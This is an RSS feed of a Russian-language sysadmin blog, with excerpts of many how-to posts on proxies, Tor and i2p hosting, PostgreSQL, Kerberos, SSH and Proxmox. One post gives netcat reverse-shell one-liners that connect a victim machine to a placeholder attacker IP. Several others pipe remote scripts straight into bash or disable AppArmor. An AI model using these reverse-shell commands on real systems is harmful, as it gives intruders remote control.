https://fruw.supa.dog/Recent content on fruworgHugo -- gohugo.ioru-RUWed, 02 Jul 2025 12:48:00 +0200https://fruw.supa.dog/posts/rknb-marzban-routing/Wed, 02 Jul 2025 12:48:00 +0200https://fruw.supa.dog/posts/rknb-marzban-routing/Вступление Для конфигурации нам необходимо два сервера - один будет в России, а второй за её пределами. Российский сервер будет точкой входа и проксировать траффик через себя до российских сервисов. До сервисов вне России сервер будет дополнительно проксировать через сервер вне России. Домен для сервера в России, например - example.com, для сервера вне России - exit.example.com. Установка Marzban (аналогично для двух серверов) Нужно создать папки tls и lib: mkdir tls mkdir lib Необходимо переместить TLS ключ и сертификат в папку tls.https://fruw.supa.dog/posts/rknb-i2p-website/Wed, 25 Jun 2025 14:10:00 +0200https://fruw.supa.dog/posts/rknb-i2p-website/Установка i2pd apt -y install -y apt-transport-https wget -qO - https://repo.i2pd.xyz/.help/add_repo | bash -s - apt update apt -y install i2pd Конфигурация i2pd В /etc/i2pd/tunnels.conf.d/website.conf необходимо добавить следующее: [website] type = http host = 127.0.0.1 port = 80 keys = website.dat И перезагрузите i2pd: systemctl restart i2pd Регистрация адреса В reg.i2p необходимо проверить незанятость желаемого fqdn. Если fqdn занят, но не используется, то его тоже можно занять. Для регистрации необходимо сгенерировать подпись:https://fruw.supa.dog/posts/rknb-tor-website/Wed, 25 Jun 2025 14:02:00 +0200https://fruw.supa.dog/posts/rknb-tor-website/Генерация vanity адреса docker run -it nwtgck/mkp224o mkp224o <domain-start-with> -s Формула для вычисления ожидаемого времени генерации: 32^<number-of-characters>/<calc/sec> = <eta-in-seconds> Установка и конфигурация TOR Установка TOR: apt -y install tor Следующие строки необходимо добавить в /etc/tor/torrc: HiddenServiceDir /var/lib/tor/website HiddenServicePort 80 127.0.0.1:80 Файлы, сгенерированные mkp224o, необходимо добавить в директорию /var/lib/tor/website: mkdir /var/lib/tor/website mv <domain>.onion/* /var/lib/tor/website chown -R debian-tor: /var/lib/tor/website chmod -R 700 /var/lib/tor/website Конфигурация Caddy В Caddyfile необходимо добавить следующее: <cleanet-doma.in> { header Onion-Location http://<domain>.https://fruw.supa.dog/posts/dnssec-coredns/Wed, 25 Jun 2025 13:36:00 +0200https://fruw.supa.dog/posts/dnssec-coredns/Генерация ключа dnssec-keygen -a ECDSAP256SHA256 <doma.in> Конфигурация CoreDNS В Corefile доменной зоны необходимо вставить следующее: dnssec { key file /etc/coredns/dnssec/<filename-without-extension> } И перезапустить CoreDNS командой: systemctl restart coredns DS-запись Далее необходимо добавить DS-запись в консоль регистратора. Запись можно получить выполнив следующую команду: dnssec-dsfromkey <filename-without-extension>https://fruw.supa.dog/posts/cephfs/Fri, 30 May 2025 15:35:00 +0200https://fruw.supa.dog/posts/cephfs/Создание FS / Сервер Создание пула данных и меты ceph osd pool create <fs-name>_data ceph osd pool create <fs-name>_meta ceph osd pool set <fs-name>_data bulk true Создание FS ceph fs new <fs-name> <fs-name>_meta <fs-name>_data Создание пользователя r - чтение w - запсись s - снапшоты p - аттрибуты ceph fs authorize <fs-name> client.<user> / rwsp Подключение FS / Клиент Установка необходимых пакетов apt install ceph-common attr Создание директории для монтирования FS mkdir /mnt/cephfs-<fs-name> Конфиг файлы Файл /etc/ceph/ceph.https://fruw.supa.dog/posts/rhel-setup/Thu, 27 Feb 2025 23:10:00 +0100https://fruw.supa.dog/posts/rhel-setup/Активация subscription-manager register --auto-attach insights-client --register Автоматическая установка обновлений yum -y install dnf-automatic systemctl enable --now dnf-automatic-install.timer Установка расширенного репозитория subscription-manager repos --enable codeready-builder-for-rhel-9-$(arch)-rpms yum -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-9.noarch.rpm Отключение дампов ядра systemctl disable --now kdump grubby --update-kernel=ALL --remove-args="crashkernel" init 6https://fruw.supa.dog/posts/autohotkey/Tue, 14 Jan 2025 11:36:00 +0100https://fruw.supa.dog/posts/autohotkey/Вступление Для бинда клавиш я использую AutoHotkey. Для автозапуска нужно перенести .ahk файлы в shell:startup. CapLang.ahk Смена раскладки по нажатию на CapsLock. Сам CapsLock переключается через Shift+CapsLock. SendMode("Input") SetWorkingDir A_ScriptDir +CapsLock::SetCapsLockState !GetKeyState("CapsLock", "T") CapsLock::Send "{Alt Down}{Shift Down}{Shift Up}{Alt Up}" Kitty.ahk Запуск Kitty по нажатию на кнопку Copilot. SendMode("Input") SetWorkingDir A_ScriptDir +#f23:: Run "C:\Program Files\Kitty\kitty.exe -load <your-profile-name>" WSL.ahk Запуск WSL по нажатию на Ctrl+Alt+T SendMode("Input") SetWorkingDir A_ScriptDir <^<!t::Run 'powershell.exe -noexit -command "cd <wsl-home-dir>; wsl"' PrintScreen.https://fruw.supa.dog/posts/swap-create/Sun, 12 Jan 2025 22:10:00 +0100https://fruw.supa.dog/posts/swap-create/Создания Размер файла подкачки RAM <= 2GB, SWAP x2 RAM 2GB - 8GB, SWAP x1 RAM >= 8GB, SWAP >= 4GB fallocate -l <size-in-gb>G /swap chmod 600 /swap mkswap /swap swapon /swap Автомонтирование В конец /etc/fstab необходимо добавить следующую строку /swap none swap sw 0 0 И проверим корректность записи mount -ahttps://fruw.supa.dog/posts/pgp-commands/Sun, 12 Jan 2025 22:00:00 +0100https://fruw.supa.dog/posts/pgp-commands/Экспорт gpg -a --export-secret-keys > private.asc gpg --export-ownertrust > trust.txt Импорт gpg --import private.asc gpg --import public.asc gpg --import-ownertrust trust.txt Продление gpg --list-keys gpg --quick-set-expire <fingerprint> 1y '*' gpg --export <your@ema.il> | curl -T - https://keys.openpgp.orghttps://fruw.supa.dog/posts/pve-update/Tue, 10 Dec 2024 14:05:00 +0100https://fruw.supa.dog/posts/pve-update/Актуализация ОС apt -y update apt -y dist-upgrade Проверка готовности обновления pve7to8 --full Актуализация репозиториев sed -i 's/bullseye/bookworm/g' /etc/apt/sources.list sed -i 's/bullseye/bookworm/g' /etc/apt/sources.list.d/*.list Обновление ОС и PVE apt -y update apt -y dist-upgrade init 6 Дошлифовка bash -c "$(curl -fsSL https://raw.githubusercontent.com/community-scripts/ProxmoxVE/main/tools/pve/post-pve-install.sh)" Ограничение потребление RAM zfs’ом В /etc/modprobe.d/zfs.conf добавить следующую строку (2GB на 1TB): options zfs zfs_arc_max=4294967296 Применение и перезагрузка update-initramfs -u -k all init 6https://fruw.supa.dog/posts/linux-disk-resize/Tue, 10 Dec 2024 13:57:00 +0100https://fruw.supa.dog/posts/linux-disk-resize/Рескан дисков echo 1 | sudo tee /sys/class/block/sda/device/rescan Расширение раздела <disk> - sda <partition> - 1 growpart /dev/<disk> <partition> Увеличение ФС <partition> - sda1 resize2fs /dev/<partition> Очистка логов Если совсем нет места для выполнения команд journalctl --vacuum-time=1dhttps://fruw.supa.dog/posts/typing-emulate/Thu, 24 Oct 2024 17:07:00 +0200https://fruw.supa.dog/posts/typing-emulate/Установка и удаление пакетов dnf install xclip xdotool rpm --nodeps -e xdg-desktop-portal-gnome Создание исполняемого файла В файл /usr/local/bin/easyclipboard необходимо добавить следующее: #!/bin/bash xclip -selection clipboard -out | tr \\n \\r | xdotool selectwindow windowfocus type --clearmodifiers --delay 25 --window %@ --file - Выдача прав на исполнение chmod +x /usr/local/bin/easyclipboard ShortCut Далее необходимо забиндить исполняемый файл на какой-нибудь shortcut (например, Ctrl+E) и можно пользоваться. При нажатии комбинации клавиш текст из буфера обмена вводится по-буквенно (очень помогает с vnc/crd и подобным).https://fruw.supa.dog/posts/ubuntu-apparmor-disable/Wed, 09 Oct 2024 10:51:00 +0200https://fruw.supa.dog/posts/ubuntu-apparmor-disable/Выключение сервиса systemctl disable --now apparmor Удаление AppArmor apt remove --assume-yes --purge apparmor Перезагрузка init 6 Одной командой systemctl disable --now apparmor && apt remove --assume-yes --purge apparmor && init 6https://fruw.supa.dog/posts/sshfs-fstab/Thu, 19 Sep 2024 13:28:00 +0200https://fruw.supa.dog/posts/sshfs-fstab/Установка пакета на клиенте apt -y install sshfs Добавление строки в /etc/fstab <user>@<server-fqdn>:<remote-dir> <local-dir> sshfs allow_other,reconnect 0 Проверка монтирования mount -ahttps://fruw.supa.dog/posts/psql-to-csv/Wed, 11 Sep 2024 17:24:00 +0200https://fruw.supa.dog/posts/psql-to-csv/Конвертация psql -d <database> DO $$ DECLARE r RECORD; BEGIN FOR r IN (SELECT table_name FROM information_schema.tables WHERE table_schema = 'public') LOOP EXECUTE format('COPY %I TO %L WITH (FORMAT CSV, HEADER)', r.table_name, '/<path-to-csv>/' || r.table_name || '.csv'); END LOOP; END $$;https://fruw.supa.dog/posts/montenegro-dn/Wed, 31 Jul 2024 09:50:00 +0200https://fruw.supa.dog/posts/montenegro-dn/Введение В первый день приезда надо оплатить туристический налог в туристичке, купить местные симки в mtel или tcom. Все документы должны быть оригиналами с мокрой печатью. Документы из РФ апостилирования не требуют. Иноязычные документы должны быть с переводом судебного переводчика, я рекомендую Майю Джонович (доставляет курьером из Подгорицы, переводит с английского и русского). Подача документов происходит в МУП’е - туда нельзя в шлёпках, шортах и майке. Документы для подачи действительны 6 месяцев.https://fruw.supa.dog/posts/rknb-wg/Wed, 05 Jun 2024 17:37:00 +0600https://fruw.supa.dog/posts/rknb-wg/Подготовка На сервере и клиенте необходимо установить пакет wireguard и сгенерировать публичный и приватный ключи: apt install wireguard cd /etc/wireguard wg genkey | tee privatekey | wg pubkey > publickey Конфигурация сервера Форвардинг пакетов В файл /etc/sysctl.conf необходимо добавить следующие строки: net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 И подгрузить эти значения командой sysctl -p Конфигурация WireGuard В файл /etc/wireguard/<conn-name>.conf необходимо дописать следующее: [Interface] PrivateKey = <private-key> Address = 172.0.0.1/24 PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o <interface> -j MASQUERADE PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o <interface> -j MASQUERADE ListenPort = 51820 [Peer] PublicKey = <public-key> AllowedIPs = 172.https://fruw.supa.dog/posts/mariadb-installation/Fri, 26 Jan 2024 16:30:00 +0600https://fruw.supa.dog/posts/mariadb-installation/Установка MariaDB apt install mariadb-server Security конфигурация mysql_secure_installation Создание БД и пользователя Для того, чтобы можно было подключиться удалённо, необходимо заменить localhost на *. mysql create database <database>; grant all privileges on <database>.* TO '<username>'@'localhost' identified by '<password>'; flush privileges; exithttps://fruw.supa.dog/posts/wg-gnome-gui/Sat, 16 Dec 2023 17:10:00 +0600https://fruw.supa.dog/posts/wg-gnome-gui/Добавление nmcli connection import type wireguard file /etc/wireguard/<wg-conn-name>.confhttps://fruw.supa.dog/posts/rdg-from-linux/Mon, 16 Oct 2023 23:06:00 +0600https://fruw.supa.dog/posts/rdg-from-linux/Подключение Если используешь иксы, то вместо wlfreerdp пиши xfreerdp: wlfreerdp /gu:<username> /u:<username> /gp:<password> /p:<password> /v:<vm-fqdn> /g:<rdg-fqdn> /sound /microphone:sys:alsa,dev:hw:0,0 /fhttps://fruw.supa.dog/posts/touchid-vw-linux/Fri, 13 Oct 2023 03:15:00 +0600https://fruw.supa.dog/posts/touchid-vw-linux/Клонирование и сборка утилиты Перед началом необходимо настроить работу сканера отпечатка пальцев. git clone https://github.com/quexten/bw-bio-handler /tmp/bw cd /tmp/bw go mod download go mod tidy go build . Перемещение бинарника mv bw-bio-handler /usr/local/bin chown root: /usr/local/bin/bw-bio-handler Перемещение политики и проверка корректности mv biometrics/policies/com.quexten.bw-bio-handler.xml /usr/share/polkit-1/actions/ go test biometrics Получение userid и key Для полученя userid необходимо зайти в консоль браузера на странице разблокированного хранилища и выполнить следующую комманду: console.log(await this.bitwardenContainerService.cryptoService.stateService.getActiveUserIdFromStorage()) Для key аналогично:https://fruw.supa.dog/posts/touchid-linux/Fri, 13 Oct 2023 02:25:00 +0600https://fruw.supa.dog/posts/touchid-linux/Введение Эта статья является переводом странички из вики Debian. Установка пакетов для функционирования сканера Список поддерживаемых устройств. apt install fprintd libpam-fprintd Сканирование отпечатка После запуска команды надо будет несколько раз прижимать палец к сканеру. fprintd-enroll Проверка отпечатка fprintd-verify Использование sudo с отпечатком пальца После запуска команды необходимо отметить Fingerprint Authentication и нажать Ok. pam-auth-updatehttps://fruw.supa.dog/posts/home-en-folders/Fri, 13 Oct 2023 00:44:00 +0600https://fruw.supa.dog/posts/home-en-folders/Смена имени Команда создаст папки на английском языке и сделает их стандартными. Папки с названиями на русском языке можно удалить. LANG=C xdg-user-dirs-update --forcehttps://fruw.supa.dog/posts/postgres-update/Mon, 09 Oct 2023 00:20:00 +0600https://fruw.supa.dog/posts/postgres-update/Листинг запущенных экземпляров PostgreSQL pg_lsclusters Остановка экземпляра PostgreSQL новой версии pg_dropcluster <new-version> main --stop Миграция со старой версии на новую pg_upgradecluster <old-version> main Дроп экземпляра PostgreSQL старой версии pg_dropcluster <old-version> main Удаление пакетов старой версии PostgreSQL apt purge -y postgresql-<old-version> postgresql-client-<old-version>https://fruw.supa.dog/posts/envip/Sun, 01 Oct 2023 01:10:00 +0600https://fruw.supa.dog/posts/envip/envip Небольшая утилита, которая позволяет реализовать динамический whitelist для caddy: Часть поддоменов будут доступны списку явно разрешённых IP. Список IP автоматически пополняется при успешном прохождении basic auth на отдельном поддомене. Установка Caddy В Caddyfile необходимо добавить секцию с поддоменом для обновления whitelist (необходимо заменить строку basic auth): wh.<your.domain> { @block { not client_ip {$WHITE_LIST} } handle @block { basicauth { Bob $2a$14$Zkx19XLiW6VYouLHR5NmfOFU0z2GTNmpkT/5qqR7hx4IjWJPDhjvG } reverse_proxy localhost:50009 { header_up X-Real-IP {remote_host} } } respond "IP bleached!https://fruw.supa.dog/posts/ruby-packer/Thu, 03 Aug 2023 19:00:00 +0600https://fruw.supa.dog/posts/ruby-packer/Вступление Лучше всего использовать ту же версию bundler и ruby, что использует rubyc. Необходимо прописать все зависимости явно в *.gemspec. Если сборка завершается с ошибкой не найденой версией GLIBC/XCRYPT, то необходимо понизить версию rubyc/поднять версию ОС. Если же завершается успешно, но при запуске вываливается ошибка, связанная с каким-нибудь gem’ом - надо попробовать понизить/повысить его версию. У меня получилось собрать бинарник только используя Debian SID и форк Rubyc (3.1.3). Пример утилиты, которая успешно собралась.https://fruw.supa.dog/posts/github-ssh-auth/Wed, 26 Jul 2023 16:29:00 +0600https://fruw.supa.dog/posts/github-ssh-auth/Генерация ключа ssh-keygen -t ed25519 -C "<your>@<ema.il>" Вывод публичного ключа cat ~/.ssh/id_ed25519.pub Добавление ключа в GitHub Необходимо зайти на GitHub в настройки своего аккаунта и перейти в раздел “SSH and GPG keys”. Далее нужно нажать “New SSH key”, вставить содержимое публичного ключа и сохранить изменения. Аутентификация в GitHub git remote set-url origin git@github.com:<username>/<reponame>.githttps://fruw.supa.dog/posts/postgres-ldaps/Thu, 01 Jun 2023 20:40:00 +0500https://fruw.supa.dog/posts/postgres-ldaps/Выпуск сертфиката AD необходимо дать роль CA и выпустить сертификат. Подробнее: https://youtu.be/xC3ujXGkh_c?t=160 Перенос сертификата Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: openssl x509 -inform der -in <ad>.cer -out <ad>.pem Установка пакета ldap-utils apt install ldap-utils -y Правка ldap конфига В файл /etc/ldap/ldap.conf необходимо добавить следующие строки: TLS_CACERT /etc/ldap/<ad>.pem BASE dc=<domain>,dc=<local> URI ldaps://<dc>.<domain>.<local>:636 Проверка ldap ldapsearch -x -b "dc=<domain>,dc=<local>" -H ldaps://<dc>.<domain>.<local>:636 -W -D <domain-user> Правка pg_hba.conf С ldapprefix/ldapsuffix в файле /var/lib/pgpro/std-14/data/pg_hba.https://fruw.supa.dog/posts/selfsigned-to-trusted/Fri, 12 May 2023 18:20:00 +0500https://fruw.supa.dog/posts/selfsigned-to-trusted/Получение корневого сертификата echo quit | openssl s_client -showcerts -servername <websi.te> -connect <websi.te>:443 > <certificate>.crt Astra Linux Перемещение сертификата cp <certificate>.crt /usr/local/share/ca-certificates Обновление состава доверенного хранилища dpkg-reconfigure ca-certificates Alt Linux Перемещение сертификата cp <certificate>.crt /etc/pki/ca-trust/source/anchors/ Обновление состава доверенного хранилища update-ca-trust enable update-ca-trust extracthttps://fruw.supa.dog/posts/cifs-automount/Fri, 12 May 2023 18:10:00 +0500https://fruw.supa.dog/posts/cifs-automount/Установка пакета apt install cifs-utils -y Создание файла с данными УЗ В файл /root/.smbuser необходимо добавить данные УЗ для подключения к шаре: username=<username> password=<password> domain=<domain> Смена прав на файл с данными УЗ sudo chmod 0400 /root/.smbuser Развёртывание В /etc/fstab необходимо добавить строку подключения к шаре: //<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0 Монтирование всех директорий mount -a Монтирование ручками (необязательно) mount -t cifs //<address> /<folder> -o username=<username>,password=<password>,domain=<domain>https://fruw.supa.dog/posts/ald-pro/Mon, 08 May 2023 23:25:00 +0500https://fruw.supa.dog/posts/ald-pro/Создания сетевой видимости В файл /etc/hosts необходимо добавить ip и fqdn DC: <dc-ip> <dc-name>.<domain> <dc-name> Смена хостнейма hostnamectl set-hostname <dc-name>.<domain> Добавление репозиториев ALD Pro В файл /etc/apt/sources.list.d/aldpro.list необходимо добавить репозиторий ALD Pro: deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main Выставление приоритета репозиториев В файле /etc/apt/preferences.d/aldpro необходимо выставить приоритет репозиториев: Package: * Pin: release n=generic Pin-Priority: 900 Установка пакета DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp Развёртывание После того, как команда развёртывания отработает и сервер перезагрузитcя, сервер ALD Pro будет доступен по адресу: https://<dc-name>.https://fruw.supa.dog/posts/pfx-to-pem/Wed, 12 Apr 2023 11:45:00 +0500https://fruw.supa.dog/posts/pfx-to-pem/Извлечение сертификата и ключа openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes Извлечение сертификата openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem Извлечение ключа openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.key Обеспароливание ключа openssl rsa -in <key>.tmp.key -out <key>.keyhttps://fruw.supa.dog/posts/run-nologin/Thu, 06 Apr 2023 18:25:00 +0500https://fruw.supa.dog/posts/run-nologin/Комментим строку В найденых файлах необходимо закомментить все строки с pam_nologin.so. cd /etc/pam.d nano $(grep -Rl "pam_nologin.so") Перезагружаем машину init 6https://fruw.supa.dog/posts/windows-disable-shutdown/Thu, 06 Apr 2023 12:15:00 +0500https://fruw.supa.dog/posts/windows-disable-shutdown/Отключение В ветке реестра выставить значение value на 1. Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDown Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideRestart Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Start\HideSleephttps://fruw.supa.dog/posts/dhcp-resolv/Thu, 06 Apr 2023 02:43:00 +0500https://fruw.supa.dog/posts/dhcp-resolv/Конфигурация клиента Неприятно, когда конфиг не даёт поменять себя ручками, да? В /etc/dhcp/dhclient.conf необходимо добавить строки перезаписи: supersede domain-name-servers <dns-1>, <dns-n>; supersede domain-name "<domain.local>"; systemctl restart networkinghttps://fruw.supa.dog/posts/astra-fly/Tue, 04 Apr 2023 12:35:00 +0500https://fruw.supa.dog/posts/astra-fly/Установка пакета fly apt install fly-all-main Загрузка ОС с GUI по-умолчанию systemctl set-default graphical.target Примечание Посмотреть текущую конфигурацию загрузки systemctl get-default Вернуть загрузку ОС с CLI systemctl set-default multi-user.targethttps://fruw.supa.dog/posts/astra-freeipa/Sat, 25 Mar 2023 01:08:00 +0500https://fruw.supa.dog/posts/astra-freeipa/Общая настройка Создания сетевой видимости На клиенте и DC необходимо в файл /etc/hosts добавить оба ip и fqdn: <server-ip> <server-name>.<domain> <server-name> <client-ip> <client-name>.<domain> <client-name> Настройка cервера Смена хостнейма hostnamectl set-hostname <server-name>.<domain> Установка пакета apt install fly-admin-freeipa-server -y Развёртывание astra-freeipa-server -d <domain> -n <server-name> -px -ip <server-ip> -o --dogtag -y Настройка клиента Смена хостнейма hostnamectl set-hostname <client-name>.<domain> Установка пакета apt install fly-admin-freeipa-client -y -px "--force" Конфигурация клиента astra-freeipa-client -d <domain>https://fruw.supa.dog/posts/postgres-drop-db/Fri, 03 Mar 2023 13:26:00 +0500https://fruw.supa.dog/posts/postgres-drop-db/На старой версии (<=12) Заходим в консоль Postgres: psql Убиваем соединения с БД: SELECT pg_terminate_backend (pid) FROM pg_stat_activity WHERE pg_stat_activity.datname = '<database_name>'; Дропаем БД: DROP DATABASE <database_name>; На новой версии (>=13) Заходим в консоль Postgres: psql Дропаем БД: DROP DATABASE <database_name> WITH (FORCE);https://fruw.supa.dog/posts/bareos-install/Fri, 27 Jan 2023 16:08:00 +0500https://fruw.supa.dog/posts/bareos-install/Конфигурация Сервера Установка Bareos и PostgreSQL curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash apt update apt install postgresql bareos bareos-webui Конфигурация БД dpkg-reconfigure bareos-database-common Включение сервисов Bareos, PostgreSQL и Apache systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2 Создание пользователя для Bareos-webui и конфига клиента Веб Bareos’а находится по адресу: http://<bareos-ip>/bareos-webui/ bconsole configure add console name=<web-user> password=<web-pass> profile=webui-admin tlsenable=no configure add client name=<client-name> address=<client-ip> password=<client-pass> reload exit Бэкап определённой папки В файл /etc/bareos/bareos-dir.https://fruw.supa.dog/posts/linux-packages-rebuild/Tue, 24 Jan 2023 22:58:00 +0500https://fruw.supa.dog/posts/linux-packages-rebuild/Распаковка пакета Распаковка данных dpkg -x "<package>.deb" <folder> Распаковка метаданных dpkg -e "<package>.deb" <folder>/DEBIAN Сборка пакета dpkg -b <folder> "<package>.deb"https://fruw.supa.dog/posts/security-solutions/Thu, 19 Jan 2023 13:00:00 +0500https://fruw.supa.dog/posts/security-solutions/EDR (Endpoint Detection and Response) Класс решений для обнаружения и изучения вредоносной активности на конечных точках: подключенных к сети рабочих станциях, серверах, устройствах Интернета вещей и так далее. В отличие от антивирусов, задача которых — бороться с типовыми и массовыми угрозами, EDR-решения ориентированы на выявление целевых атак и сложных угроз. Примеры: SOLDR, Kaspersky EDR UEBA (User and Entity Behavior Analytics) Класс решений для выявления киберугроз, основанная на анализе поведения пользователей, а также устройств, приложений и иных объектов в информационной системе.https://fruw.supa.dog/posts/postgres-simple-backup/Wed, 14 Dec 2022 16:48:00 +0500https://fruw.supa.dog/posts/postgres-simple-backup/Скрипт для бэкапа БД и глобальных объектов В файл /home/<username>/pg-backup.sh необходимо добавить следующие строки: #!/usr/bin/env bash pg_dump -U <username> -h <pg-hostname> -Fc <db> --file=<db>-$(date '+%Y-%m-%d').dump pg_dumpall -U <username> -h <pg-hostname> --globals --file=gb-$(date '+%Y-%m-%d').dump Файл cron с запуском скрипта (каждый день в 2:00) Необходимо дописать в конец crontab -e -u <username> следующие строки: 0 2 * * * /usr/bin/env bash /home/<username>/pg-backup.sh Рестор файлов БД и глобальных объектов pg_restore -C -d postgres <dbname>-<date>.https://fruw.supa.dog/posts/ssh-auth-by-key/Wed, 14 Dec 2022 12:04:00 +0500https://fruw.supa.dog/posts/ssh-auth-by-key/Генерация ключа ssh-keygen Копировние ключв ssh-copy-id <username>@<server-ip>https://fruw.supa.dog/posts/reverse-shell-nc/Fri, 09 Dec 2022 15:02:00 +0500https://fruw.supa.dog/posts/reverse-shell-nc/Машина атакующего nc -lvp <port> Машина жертвы (Traditional Netcat) nc <attacker-ip> <port> -e /bin/bash Машина жертвы (OpenBSD Netcat) mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev | /bin/bash 2>&1 | tee /tmp/rev > /dev/nullhttps://fruw.supa.dog/posts/postgres-krb5/Tue, 29 Nov 2022 16:21:00 +0500https://fruw.supa.dog/posts/postgres-krb5/Установка Kerberos и Postgres Pro Для начала, необходимо установить Postgres Pro и Kerberos. На машину с Postgres Pro Kerberos устанавливается также, как и на клиента. Конфигурация сервера Kerberos Добавление принципиала Postgres Pro kadmin.local addprinc <username> addprinc postgres addprinc postgres/<pg-hostname> q Экспорт субъекта-службы ktutil add_entry -password -p postgres/<pg-hostname>@<DOMAIN.NAME> -k 1 -e aes256-cts-hmac-sha1-96 wkt postgres.keytab q Перенос субъекта-службы на сервер Postgres Pro Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro.https://fruw.supa.dog/posts/ssh-fail2ban/Tue, 29 Nov 2022 13:41:00 +0500https://fruw.supa.dog/posts/ssh-fail2ban/Установка пакета fail2ban apt -y install fail2ban Правило для ssh В файл /etc/fail2ban/jail.d/sshd.conf необходимо добавить следующее: [sshd] enabled = true port = <ssh-port> filter = sshd logpath = /var/log/auth.log maxretry = 3 findtime = 300 bantime = 3600 Перезапуск сервиса fail2ban systemctl restart fail2banhttps://fruw.supa.dog/posts/ssh-2fa-totp/Tue, 29 Nov 2022 13:35:00 +0500https://fruw.supa.dog/posts/ssh-2fa-totp/Установка пакета apt install -y openssh-server libpam-google-authenticator Правка конфига PAM В файл /etc/pam.d/common-auth необходимо добавить следующее: auth required pam_google_authenticator.so Правка конфига ssh В файл /etc/ssh/sshd_config необходимо добавить следующее: ChallengeResponseAuthentication yes Конфигурация аутентификации Следующая команда сконфигурирует TOTP. Запускать команду следует от имени того пользователя, к которому будет инициализированно подключение. google-authenticator Управление факторами (необязательно) Для запроса ключа при аутентификации необходимо в файл /etc/ssh/sshd_config добавить следующее: AuthenticationMethods publickey,password publickey,keyboard-interactive Для отключения запроса пароля при аутентификации необходимо в файле /etc/pam.https://fruw.supa.dog/posts/linux-krb5/Tue, 29 Nov 2022 13:07:00 +0500https://fruw.supa.dog/posts/linux-krb5/Конфигурация сервера Установка пакетов apt -y install krb5-kdc krb5-admin-server Конфигурация клиента Установка пакетов apt -y install krb5-user libpam-krb5 Общая конфигурация На сервере и клиенте надо проделать следующие шаги: Смена hostname hostnamectl set-hostname <hostname> Правка файла hosts Вместо правки файла /etc/hosts можно поднять DNS-сервер и сделать записи там. <server-ip> <server-name.domain.name> <server-name> <client-ip> <client-name.domain.name> <client-name> Редактирование конфига Kerberos В /etc/krb5.conf необходимо добавить данные а реалме и kdc: [libdefaults] default_realm = <DOMAIN.NAME> [realms] <DOMAIN.https://fruw.supa.dog/posts/postgres-tls/Mon, 28 Nov 2022 20:25:00 +0500https://fruw.supa.dog/posts/postgres-tls/Создание сертификата В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let’s Encrypt тоже подойдёт. Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. openssl req -x509 -newkey rsa:4096 -nodes -keyout <key>.key -out <cert>.pem -sha256 -days 365 Включение TLS В файл /var/lib/pgpro/std-*/data/postgresql.conf необходимо добавить следующие строки: ssl = on ssl_cert_file = '<cert>.pem' ssl_key_file = '<key>.pem' listen_addresses = 'localhost, <master-ip>' Разрешение доступа через TLS В файл /var/lib/pgpro/std-*/data/pg_hba.https://fruw.supa.dog/posts/ip-command/Fri, 25 Nov 2022 19:17:00 +0500https://fruw.supa.dog/posts/ip-command/Показать все интерфейсы ip a ip l Показать информацию по конкретному интерфейсу ip a show <interface> ip l show <interface> Изменить статус сетевого интерфейса ip l set <interface> down ip l set <interface> up Добавить или удалить адрес ip a add <ip-address/mask> dev <interface> ip a add brd <ip-address/mask> dev <interface> ip a del <ip-address> dev <interface>https://fruw.supa.dog/posts/linux-nfs/Fri, 25 Nov 2022 17:57:00 +0500https://fruw.supa.dog/posts/linux-nfs/Настройка NFS-сервера Установка пакета apt -y install nfs-kernel-server Создание каталога, который будет расшарен mkdir /nfs chmod 777 /nfs Разрешение сетевого доступа В файл /etc/exports необходимо добавить следующую строку: /nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check) Настройка NFS-клиента Установка пакета apt -y install nfs-common Запуск службы systemctl enable --now rpcbind Автомонитрование В файл /etc/fstab необходимо добавить следующую строку: <server-ip>:/nfs /nfs nfs defaults 0 0https://fruw.supa.dog/posts/postgres-replication/Fri, 25 Nov 2022 16:51:00 +0500https://fruw.supa.dog/posts/postgres-replication/Установка Postgres Pro Процесс установки описан в этом посте. Потоковая репликация Про различия в реализациях репликаций можно почитать вот здесь. Конфигурация master Создание пользователя для репликации su - postgres psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '<password>';" Разрешение подключения для slave Дописываем в конец файла /var/lib/pgpro/std-*/data/pg_hba.conf: host replication repuser <slave-ip>/32 md5 Реконфигурация В файл /var/lib/pgpro/std-*/data/postgresql.conf необходимо добавить следующие строки: listen_addresses = 'localhost, <master-ip>' wal_level = hot_standby archive_mode = on archive_command = 'cd .https://fruw.supa.dog/posts/postgres-pro-astra-se/Fri, 25 Nov 2022 16:20:00 +0500https://fruw.supa.dog/posts/postgres-pro-astra-se/Добавление репозитория apt -y install gnupg wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" > /etc/apt/sources.list.d/pgpro.list Установка пакета apt update apt -y install postgrespro-std-14 systemd /opt/pgpro/std-14/bin/pg-setup service enable --now ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service Обновление путей /opt/pgpro/std-14/bin/pg-wrapper links update Смена пароля postgres su - postgres psql -c "ALTER USER postgres PASSWORD 